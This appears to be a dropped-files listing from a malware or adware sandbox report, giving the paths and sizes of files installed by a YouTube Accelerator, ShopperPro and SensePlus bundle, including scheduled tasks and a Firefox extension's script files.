    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
    %Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
    %Program Files% (x86)\YouTube Accelerator\UNWISE.EXE (155 bytes)
    %Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFC824.tmp (12 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKC218.tmp (1604 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCC013.tmp (3791 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGC823.tmp (93076 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMC41C.tmp (12 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJC014.tmp (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
    C:\Windows\SysWOW64\temp.000 (3624 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
    %Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE7.tmp (156077 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE8.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE8.tmp\D1958.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE8.tmp\setup.exe (1606835 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDCE8.tmp\setup1.exe (144456 bytes)
    %Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.exe (32784 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\AccDownload.dll (11667 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\nsProcess.dll (12 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\System.dll (23 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
    C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
    %Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\jsdrv.exe (100669 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper.dll (13584 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE8C9.tmp (118586 bytes)
    %Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
    %Program Files% (x86)\YTAHelper\YTAHelper64.dll (16424 bytes)
    %Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE8DA.tmp\MoreInfo.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\185195 (1931 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi163F.tmp (611624 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\plshuf.dll (13 bytes)
    %Program Files% (x86)\SensePlus\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-5.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\jpcxiuu.dll (8 bytes)
    C:\Windows\Tasks\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-5.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\edgbnubp.dll (31232 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\bjykvuw.dll (3730 bytes)
    %Program Files% (x86)\SensePlus\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.exe (8330 bytes)
    %Program Files% (x86)\SensePlus\utils.exe (72193 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\jwkgq.dll (14 bytes)
    %Program Files% (x86)\SensePlus\59003547-0edf-49aa-8bfd-5cf9d4d1a47b.xpi (2321 bytes)
    C:\Windows\Tasks\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-5_user.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\414555 (89639 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\abxbingaf.dll (23 bytes)
    %Program Files% (x86)\SensePlus\Uninstall.exe (601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\frhpnmmmq.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\abxqftls.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ipgeoapi_com[1].json (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\59003547-0edf-49aa-8bfd-5cf9d4d1a47b-4.dll (38103 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn165F.tmp\System.dll (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_sense.exe (48447 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_iwebar.exe (47451 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_yta.exe (36468 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17063\ins_shopperpro.exe (17275 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_26658\DCytaiesmt_smtyc_setup.exe (7726 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_2060\DCytaiesmt_smtyc_setup.exe (7726 bytes)
    C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\UserInfo.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\inetc.dll (44 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\nsJSON.dll (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\NSISEncrypt.dll (3320 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\IpConfig.dll (4254 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssDC4B.tmp\WmiInspector.dll (3137 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (663 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7b4de7698c7a2122e6793e2fe80818d8.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\04e52bf02082003e45ee687b982a8a6b.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2be628d70b2e680652d11b13c9150930.js (134 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\e984e2c387b67d86dee8291576209331.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9867801f2d9e889593446399b85a609d.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e8a15022f73eb04bc4bb6916664e0e66.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\038bc8c8553e19390af61cf6c8acff5a.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\fb2469a6160bf30b05c4fba585e86687.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\33427ea74398dc29f702578c36a93658.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (506 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\107732ee1c8f02595f060adc39c63df7.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0130e9d60b0f0f853b6be0c924e561b4.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2efa0ace63878dcdadab972c902fd6cd.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9417a392b4bcbc0cdf93f9ac3b95c6fa.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\e868b0adcc83fbb5a30cbe470d216cec.js (618 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\3b9295a47b758bb6efd75e684d72ef5a.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\96c22d0f7f716fb6462f9ae2cd2bc77b.js (20 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\be697af2c27508d7129f9fa5d265788b.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1666b41fdc6200153afb966bca6a9176.js (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f43197f11972eef081e842dc9145480b.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\54044ccf2ac96ea7a347f52b0e606a93.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9409d92377a14c9dda2bf67813bdcd0f.js (947 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c5868f9d38e5324818326b74543d9da5.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\bce9ab2aa286841e0c312483697dc4db.js (357 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (949 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4c83374dfa602d533dd87098b417f62b.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9e97f372752b49b0ef9e634c05afe0ea.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2d0f6ef5c7cdd3e9ede884271521d04a.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7379aa3a399a1c1034b9118532ec2713.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\399.js (525 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\889471bd55e5fc466e50d63f831877a3.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a1332804401e2341704004b8140f174e.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\17d4e6b377b93060e78bda5eb117c032.js (659 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c306dae73ce035da7a5f3ee3d511d82b.js (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\72cf8f8b44927bb6c49af250838beb66.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
